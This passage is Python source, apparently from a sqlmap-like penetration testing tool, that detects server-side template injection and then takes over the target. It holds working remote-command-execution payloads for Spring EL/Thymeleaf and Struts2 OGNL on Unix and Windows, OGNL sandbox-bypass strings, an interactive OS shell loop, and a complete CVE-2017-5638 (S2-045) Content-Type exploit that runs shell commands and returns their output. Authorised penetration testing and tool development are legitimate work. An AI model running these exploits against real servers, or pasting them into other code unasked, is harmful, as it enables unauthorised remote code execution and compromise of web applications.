tested += 1
|
|
logger.info("testing SSTI on %s parameter '%s'" % (place, parameter))
|
|
|
|
engine, evidence = _fingerprint(place, parameter)
|
|
if engine:
|
|
found.append((place, parameter, engine, evidence))
|
|
logger.info("%s parameter '%s' is vulnerable to SSTI (back-end: '%s')" % (place, parameter, engine.name))
|
|
if conf.beep:
|
|
beep()
|
|
|
|
# report the payload that ACTUALLY proved the finding, not merely one the engine
|
|
# supports - showing the 7*7 arithmetic payload when only the boolean oracle fired
|
|
# misrepresents what was tested
|
|
if evidence.get("arithmetic") and engine.arithmeticFmt:
|
|
payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7)
|
|
else:
|
|
payload = _originalValue(place, parameter) + engine.booleanTrue
|
|
title = "SSTI %s injection" % engine.name
|
|
report = "---\nParameter: %s (%s)\n Type: SSTI\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload)
|
|
conf.dumper.singleString(report)
|
|
|
|
if evidence.get("arithmetic"):
|
|
logger.info("in-band arithmetic proof confirmed (control-pair)")
|
|
if evidence.get("boolean"):
|
|
logger.info("boolean oracle confirmed")
|
|
|
|
if not found:
|
|
if tested:
|
|
warnMsg = "no parameter appears to be injectable via SSTI (%d tested)" % tested
|
|
else:
|
|
warnMsg = "no parameters found to test for SSTI"
|
|
logger.warning(warnMsg)
|
|
else:
|
|
engines = set(engine.name for _, _, engine, _ in found)
|
|
if len(engines) == 1:
|
|
logger.info("back-end template engine: '%s'" % engines.pop())
|
|
else:
|
|
logger.info("back-end template engines: %s" % ", ".join(sorted(engines)))
|
|
|
|
if found:
|
|
wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell"))
|
|
|
|
# Rank ALL confirmed vectors, not just found[0]: automatic exploitation must select the
|
|
# strongest VERIFIED takeover vector - the first confirmed slot may not support command
|
|
# execution while a later one does. Candidates are the exact-engine, proof-backed slots; the
|
|
# winner is the first whose reflection-proof RCE capability actually confirms.
|
|
candidates = [(pl, pr, en, ev) for (pl, pr, en, ev) in found if _canTakeover(en, ev)]
|
|
rceSlot = None
|
|
for pl, pr, en, ev in candidates:
|
|
if _probeRce(pl, pr, en):
|
|
rceSlot = (pl, pr, en, ev)
|
|
break
|
|
|
|
# `--ssti` is an auxiliary, self-contained switch, so once SSTI is confirmed we AUTOMATICALLY
|
|
# probe whether OS command execution is reachable and advise the takeover switches. Users of
|
|
# this niche switch generally don't know to try --os-shell/--os-cmd (actual execution still
|
|
# requires those switches).
|
|
if not wantsTakeover:
|
|
if rceSlot:
|
|
_, _, en, _ = rceSlot
|
|
logger.info("the back-end '%s' allows OS command execution via %s parameter '%s'; you "
|
|
"are advised to try '--os-shell' (interactive) or '--os-cmd=<command>' "
|
|
"(single command)" % (en.name, rceSlot[0], rceSlot[1]))
|
|
# --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags)
|
|
elif not candidates:
|
|
logger.error("takeover requires an exact engine fingerprint and confirmed proof "
|
|
"(arithmetic or boolean oracle); none of the confirmed vectors qualify")
|
|
else:
|
|
# prefer the capability-verified vector; fall back to the first takeover-capable candidate
|
|
# (the user explicitly asked, and _executeCommand carries its own capture fallbacks)
|
|
pl, pr, en, ev = rceSlot or candidates[0]
|
|
if conf.get("osCmd"):
|
|
_executeCommand(pl, pr, en, conf.osCmd)
|
|
|
|
# Interactive shell runs even under --batch (mirrors the SQL --os-shell, which reads
|
|
# commands straight from the terminal); EOF / 'exit' / 'quit' leaves it.
|
|
if conf.get("osShell"):
|
|
_osShell(lambda cmd: _executeCommand(pl, pr, en, cmd))
|
|
|
|
logger.info("SSTI scan complete")
|
|
|
|
|
|
def _escapeSingleQuoted(value):
|
|
"""Escape backslashes and single quotes for embedding in a single-quoted string."""
|
|
return value.replace("\\", "\\\\").replace("'", "\\'")
|
|
|
|
|
|
def _canTakeover(engine, evidence):
|
|
"""Require exact engine fingerprint (not a family guess) and confirmed
|
|
proof before attempting OS command execution."""
|
|
if not engine.rcePayloads:
|
|
return False
|
|
if "(probable" in engine.name or "-like" in engine.name:
|
|
return False
|
|
if not (evidence.get("arithmetic") or evidence.get("boolean")):
|
|
return False
|
|
return True
|
|
|
|
|
|
# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private
|
|
# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any
|
|
# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the
|
|
# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read
|
|
# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path.
|
|
_FILE_RCE = {
|
|
"Spring EL / Thymeleaf": (
|
|
"${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}",
|
|
"${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
|
|
),
|
|
"Struts2 (OGNL)": (
|
|
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}",
|
|
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}",
|
|
),
|
|
}
|
|
|
|
# Windows variants of the Java file-based channel: exec via cmd.exe (/bin/sh does not exist), read back
|
|
# the same way. Selected by _fileRceCapture when the Unix family did not confirm execution.
|
|
_FILE_RCE_WINDOWS = {
|
|
"Spring EL / Thymeleaf": (
|
|
"${new ProcessBuilder(new String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'}).start()}",
|
|
"${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
|
|
),
|
|
"Struts2 (OGNL)": (
|
|
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}",
|
|
"%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}",
|
|
),
|
|
}
|
|
|
|
|
|
# --- OS/shell-family RCE command builders -----------------------------------
|
|
# Reflection-proof primitives per family; `_probeRce`/`_executeCommand` try each family (Unix first) so
|
|
# takeover works on a Windows-hosted template engine without a separate OS-detection round-trip.
|
|
# challenge(a, b) -> a command whose STDOUT is the derived product a*b (never in the request)
|
|
# framed(cmd, sa, sb, ea, eb) -> a command printing <sa><sb><cmd-stdout><ea><eb>, the markers built by
|
|
# RUNTIME concatenation so the completed marker never appears in the request
|
|
def _unixChallenge(a, b):
|
|
return "echo $((%d*%d))" % (a, b)
|
|
|
|
|
|
def _winChallenge(a, b):
|
|
# `set /a` evaluates integer arithmetic and prints the result; cmd /c so it runs even when the engine
|
|
# execs a binary directly (Runtime.exec) rather than through a shell
|
|
return "cmd /c set /a %d*%d" % (a, b)
|
|
|
|
|
|
def _unixFramed(cmd, sa, sb, ea, eb):
|
|
# printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated
|
|
return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
|
|
|
|
|
|
def _winFramed(cmd, sa, sb, ea, eb):
|
|
# `echo|set /p=X` prints X with NO trailing newline; `&` sequences the commands, so stdout is the
|
|
# runtime concatenation <sa><sb><cmd-stdout><ea><eb> - the joined markers are absent from the request
|
|
return 'cmd /c "echo|set /p=%s&echo|set /p=%s&%s&echo|set /p=%s&echo|set /p=%s"' % (sa, sb, cmd, ea, eb)
|
|
|
|
|
|
_SHELL_FAMILIES = (
|
|
("unix", _unixChallenge, _unixFramed),
|
|
("windows", _winChallenge, _winFramed),
|
|
)
|
|
|
|
# per-family temp file + cleanup for the Java file-based channel
|
|
_FILE_TEMP = {
|
|
"unix": (lambda name: "/tmp/%s" % name, _FILE_RCE, lambda f: "rm -f %s" % f),
|
|
"windows": (lambda name: "%%TEMP%%\\%s" % name, _FILE_RCE_WINDOWS, lambda f: "cmd /c del /q %s" % f),
|
|
}
|
|
|
|
|
|
def _commandOutput(page, baseline, original, payload, engine):
|
|
"""Extract genuine command output from a response via baseline diff, rejecting error pages and
|
|
reflected-payload fragments. Returns the cleaned output string, or None when there is none."""
|
|
if not page:
|
|
return None
|
|
if engine.errorRegex and _isError(page, engine):
|
|
return None
|
|
|
|
text = getUnicode(page)
|
|
baseText = getUnicode(baseline or "")
|
|
output = ""
|
|
|
|
if baseText and text != baseText:
|
|
sm = difflib.SequenceMatcher(None, baseText, text)
|
|
parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")]
|
|
if parts:
|
|
output = "".join(parts).strip()
|
|
|
|
if not output:
|
|
output = text
|
|
if original and output.startswith(original):
|
|
output = output[len(original):]
|
|
output = output.strip()
|
|
|
|
# A template that ECHOED our payload directive instead of executing it is reflection, not output.
|
|
# The test is whether the injected DIRECTIVE leaked into the response (payload fragment present in
|
|
# output), NOT whether the output happens to be a substring of the payload - the latter discarded
|
|
# legitimate results such as `echo hello` -> "hello" (naturally a substring of "...echo hello...").
|
|
if output and payload and (payload in output or _ratio(output, payload) >= UPPER_RATIO_BOUND):
|
|
return None
|
|
|
|
# A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.."
|
|
# on JDK8) means the command RAN but its stdout was never captured (a blind exec) - not real output,
|
|
# so reject it and let the caller fall through to the file-based capture (_FILE_RCE).
|
|
if output and re.search(r"Process\[pid=|(?:UNIXProcess|ProcessImpl|Process)@[0-9a-f]", output):
|
|
return None
|
|
|
|
if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
|
|
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
|
|
return output
|
|
|
|
return None
|
|
|
|
|
|
def _fileRceCapture(place, parameter, engine, original, cmd, extract):
|
|
"""Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
|
|
(redirects the command's output to a random temp file), then poll-read that file. Tries the Unix
|
|
family (/tmp, /bin/sh) then the Windows family (%TEMP%, cmd.exe). 'extract' is a callback
|
|
(readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), so the read
|
|
is retried a few times. Returns whatever 'extract' yields, else None."""
|
|
for family, (tempPath, specs, cleanupCmd) in _FILE_TEMP.items():
|
|
spec = specs.get(engine.name)
|
|
if not spec:
|
|
continue
|
|
|
|
execTemplate, readTemplate = spec
|
|
outFile = tempPath(randomStr(length=12, lowercase=True))
|
|
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
|
|
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
|
|
|
|
readPayload = readTemplate.replace("{OUTFILE}", outFile)
|
|
result = None
|
|
for _ in range(3):
|
|
page = _send(place, parameter, original + readPayload)
|
|
result = extract(readPayload, page)
|
|
if result is not None:
|
|
break
|
|
time.sleep(1)
|
|
|
|
# best-effort cleanup: don't leave the random temp file behind on the target
|
|
try:
|
|
cleanup = execTemplate.replace("{CMD}", _escapeSingleQuoted(cleanupCmd(outFile))).replace("{OUTFILE}", outFile)
|
|
_send(place, parameter, original + cleanup)
|
|
except Exception:
|
|
pass
|
|
if result is not None:
|
|
return result
|
|
return None
|
|
|
|
|
|
def _derivedExecuted(page, baseline, expected):
|
|
"""Reflection-proof proof-of-execution test using a DERIVED challenge. The probe runs `echo
|
|
$((A*B))`: only A and B appear in the request, never their product. A template/app that merely
|
|
REFLECTS the request - raw, URL-encoded, HTML-escaped, or otherwise transformed - therefore CANNOT
|
|
reproduce the product, because it is not present anywhere in the payload. So the product appearing
|
|
in the response, and being absent from the untouched baseline, is genuine command output. Returns
|
|
True or None (None keeps the _fileRceCapture callback contract)."""
|
|
if not page or (baseline and expected in baseline):
|
|
return None
|
|
return True if expected in page else None
|
|
|
|
|
|
def _probeRce(place, parameter, engine):
|
|
"""Quiet RCE-capability check: run a DERIVED arithmetic challenge (`echo $((A*B))`) via the engine's
|
|
RCE payloads and confirm OS command execution is reachable. Used to advise the user once SSTI is
|
|
confirmed. The expected result (the product) is NOT present in the request, so no reflection -
|
|
encoded or not - can fake it (see _derivedExecuted); two independently-randomized confirmations are
|
|
required. In-band capture is tried first; if blocked (e.g. a hardened JDK whose stdout capture is
|
|
reflectively disabled) it confirms via the two-step file-based channel (inherently reflection-proof
|
|
- the value comes from shell evaluation into a file we wrote - and self-cleans)."""
|
|
|
|
if not engine.rcePayloads:
|
|
return False
|
|
|
|
original = _originalValue(place, parameter) or ""
|
|
baseline = getUnicode(_send(place, parameter, original) or "")
|
|
|
|
# COUNT confirmations, not loop iterations: a challenge whose product coincidentally collides with
|
|
# the baseline is skipped and REGENERATED (it does not count as a confirmation), so an all-collision
|
|
# run can never fall through the loop and return success with zero executed payloads.
|
|
confirmed = generated = 0
|
|
while confirmed < 2 and generated < 10:
|
|
generated += 1
|
|
a, b = randomInt(4), randomInt(4)
|
|
expected = str(a * b)
|
|
if expected in baseline or expected in (str(a) + str(b)): # coincidental collision -> regenerate
|
|
continue
|
|
|
|
hit = False
|
|
# try each OS/shell family's derived challenge (Unix first, then Windows `set /a`)
|
|
for _family, challenge, _framed in _SHELL_FAMILIES:
|
|
cmd = challenge(a, b)
|
|
for payloadTemplate, _description in engine.rcePayloads:
|
|
payload = payloadTemplate.replace("{CMD}", cmd)
|
|
page = getUnicode(_send(place, parameter, original + payload) or "")
|
|
if _derivedExecuted(page, baseline, expected):
|
|
hit = True
|
|
break
|
|
if hit:
|
|
break
|
|
|
|
if not hit:
|
|
# in-band capture blocked -> confirm via the two-step file-based channel (self-cleaning);
|
|
# a Unix-family challenge is fine here (the file channel picks the OS family itself)
|
|
hit = bool(_fileRceCapture(place, parameter, engine, original, _unixChallenge(a, b),
|
|
lambda readPayload, page: _derivedExecuted(getUnicode(page or ""), baseline, expected)))
|
|
if not hit:
|
|
return False
|
|
confirmed += 1
|
|
|
|
return confirmed >= 2
|
|
|
|
|
|
def _framedOutput(page, start, end):
|
|
"""Slice a command's real stdout from a response that bracketed it between two DERIVED markers. Each
|
|
marker is the concatenation of two random fragments that the shell joins at runtime (`printf %s%s A
|
|
B` -> `AB`); the completed marker `AB` never appears literally in the request (which carries `A B`
|
|
separated), so a reflected payload - raw, URL-encoded, HTML-escaped, whitespace/case-normalized -
|
|
cannot reproduce it. Finding both markers in order therefore proves execution, and the text between
|
|
them is genuine output. Returns the sliced text or None."""
|
|
if not page or start not in page:
|
|
return None
|
|
i = page.index(start) + len(start)
|
|
j = page.find(end, i)
|
|
if j < 0:
|
|
return None
|
|
return page[i:j].strip()
|
|
|
|
|
|
def _executeCommand(place, parameter, engine, cmd):
|
|
"""Execute an OS command via the engine's RCE payloads. Preferred capture brackets the command's
|
|
output between two random markers so it slices out cleanly - immune to dynamic page material and to
|
|
reflection. Falls back to a baseline diff for engines whose RCE payload does not run through a shell
|
|
(no ';' sequencing), then to a two-step file-based capture for JDK-hardened Java engines whose in-band
|
|
stdout is reflectively blocked (see _FILE_RCE)."""
|
|
|
|
safeCmd = _escapeSingleQuoted(cmd)
|
|
original = _originalValue(place, parameter) or ""
|
|
baseline = _send(place, parameter, original)
|
|
|
|
# (1) reflection-proof boundary-marker capture. Each marker is a RUNTIME concatenation of two
|
|
# fragments (`printf %s%s A B` -> `AB` on Unix; `echo|set /p=A&echo|set /p=B` -> `AB` on Windows),
|
|
# so the completed marker `AB` is never literally in the request - encoded/escaped reflection cannot
|
|
# forge it. Both OS families are tried (Unix first); the one whose shell actually runs wins.
|
|
for _family, _challenge, framed in _SHELL_FAMILIES:
|
|
sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4))
|
|
start, end = sa + sb, ea + eb
|
|
framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb))
|
|
for payloadTemplate, description in engine.rcePayloads:
|
|
payload = payloadTemplate.replace("{CMD}", framedCmd)
|
|
page = getUnicode(_send(place, parameter, original + payload) or "")
|
|
out = _framedOutput(page, start, end)
|
|
if out is not None:
|
|
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out))
|
|
return
|
|
|
|
# (2) file-based capture (JDK-hardened Java engines) - reflection-proof (reads a file we wrote)
|
|
output = _fileRceCapture(place, parameter, engine, original, cmd,
|
|
lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine))
|
|
if output is not None:
|
|
conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output))
|
|
return
|
|
|
|
# (3) LAST resort: unframed payload + baseline diff. This channel is NOT reflection-proof - a
|
|
# baseline difference can be dynamic page material (a rotating CSRF token, timestamp, ad, request
|
|
# id), so its output is shown only with an explicit UNVERIFIED caveat, never as clean stdout. The
|
|
# command DID execute (blind), but the displayed text may not be its output.
|
|
for payloadTemplate, description in engine.rcePayloads:
|
|
payload = payloadTemplate.replace("{CMD}", safeCmd)
|
|
page = _send(place, parameter, original + payload)
|
|
output = _commandOutput(page, baseline, original, payload, engine)
|
|
if output is not None:
|
|
logger.warning("blind execution confirmed but no reflection-proof output channel; the text "
|
|
"below is an UNVERIFIED baseline diff and may include dynamic page material")
|
|
conf.dumper.singleString("\nos-shell (%s) [%s, UNVERIFIED diff]:\n%s" % (cmd, description, output))
|
|
return
|
|
|
|
logger.warning("no output received for OS command '%s'" % cmd)
|
|
|
|
|
|
def _osShell(execFn):
|
|
"""Shared interactive OS-shell loop (runs under --batch like the SQL one). execFn(cmd) runs and
|
|
reports a single command. EOF / 'exit' / 'quit' leaves."""
|
|
from lib.core.common import readInput
|
|
logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave")
|
|
while True:
|
|
cmd = readInput("os-shell> ", checkBatch=False)
|
|
if not cmd or cmd.strip().lower() in ("exit", "quit"):
|
|
break
|
|
execFn(cmd.strip())
|
|
|
|
|
|
# CVE-2017-5638 (S2-045): OGNL injection via the Content-Type header of a Jakarta-multipart Struts2
|
|
# action - a distinct vector from the parameter one: the Content-Type is NOT reflected, so the payload
|
|
# writes its result straight to the HTTP response. The prefix resets OGNL member access and clears the
|
|
# excluded classes/packages (the modern-Struts2 sandbox); {ACTION} prints a marker (detection) or runs
|
|
# a command and copies its stdout to the response (exploitation).
|
|
_S2045_TEMPLATE = ("%{(#nike='multipart/form-data')."
|
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
|
"(#_memberAccess?(#_memberAccess=#dm):"
|
|
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
|
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
|
"(#ognlUtil.getExcludedPackageNames().clear())."
|
|
"(#ognlUtil.getExcludedClasses().clear())."
|
|
"(#context.setMemberAccess(#dm))))."
|
|
"(#resp=@org.apache.struts2.ServletActionContext@getResponse())."
|
|
"{ACTION}}")
|
|
|
|
|
|
def _s2045Send(url, action):
|
|
"""Send one request carrying the S2-045 Content-Type payload ({ACTION} substituted in)."""
|
|
payload = _S2045_TEMPLATE.replace("{ACTION}", action)
|
|
try:
|
|
page, _, _ = Request.getPage(url=url, auxHeaders={HTTP_HEADER.CONTENT_TYPE: payload},
|
|
raise404=False, silent=True)
|
|
return getUnicode(page or "")
|
|
except Exception as ex:
|
|
logger.debug("S2-045 Content-Type probe failed: %s" % getUnicode(ex))
|
|
return ""
|
|
|
|
|
|
def _probeStruts2Header(url):
|
|
"""Detect CVE-2017-5638 with a reflection-PROOF derived challenge. Rather than printing a literal
|
|
marker (which a server that merely reflects the Content-Type header would echo back -> false
|
|
positive), have OGNL COMPUTE an arithmetic product and print it: only the operands A and B appear in
|
|
the header, never the product, so no header reflection - raw, HTML-escaped or URL-encoded - can
|
|
reproduce it. Requires TWO independently-randomized confirmations against a baseline. Returns True on
|
|
confirmed execution, else None."""
|
|
baseline = _s2045Send(url, "(#resp.getWriter().flush())") # benign no-op baseline (no marker)
|
|
# COUNT confirmations, not iterations: a product colliding with the baseline is regenerated, so an
|
|
# all-collision run can never return success without an actually-evaluated challenge.
|
|
confirmed = generated = 0
|
|
while confirmed < 2 and generated < 10:
|
|
generated += 1
|
|
a, b = randomInt(4), randomInt(4)
|
|
expected = str(a * b)
|
|
if expected in (baseline or "") or expected in (str(a) + str(b)):
|
|
continue # coincidental collision -> regenerate
|
|
action = "(#w=#resp.getWriter()).(#w.print(%d*%d)).(#w.flush())" % (a, b)
|
|
page = _s2045Send(url, action)
|
|
if not (page and expected in page and expected not in (baseline or "")):
|
|
return None
|
|
confirmed += 1
|
|
return True if confirmed >= 2 else None
|
|
|
|
|
|
def _executeStruts2Header(url, cmd):
|
|
"""Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is
|
|
bracketed by DERIVED markers - each is two random fragments the shell concatenates at runtime
|
|
(`printf %s%s A B` -> `AB`), so the completed marker never appears literally in the header and a
|
|
reflected header cannot forge it (nor be sliced as fake 'output')."""
|
|
sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4))
|
|
start, end = sa + sb, ea + eb
|
|
wrapped = "printf %%s%%s %s %s; %s 2>&1; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
|
|
action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))."
|
|
"(#p.redirectErrorStream(true)).(#pr=#p.start())."
|
|
"(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))."
|
|
"(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped)
|
|
page = _s2045Send(url, action)
|
|
if start in page and end in page and page.index(start) < page.index(end):
|
|
return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n")
|
|
return None
|
|
|
|
|
|
def _dumpS2045(url, cmd):
|
|
"""Run one command via the S2-045 vector and report its output (or a no-output warning)."""
|
|
output = _executeStruts2Header(url, cmd)
|
|
if output is not None:
|
|
conf.dumper.singleString("\nos-shell (%s) [S2-045 Content-Type]:\n%s" % (cmd, output))
|
|
else:
|
|
logger.warning("no output received for OS command '%s'" % cmd)
|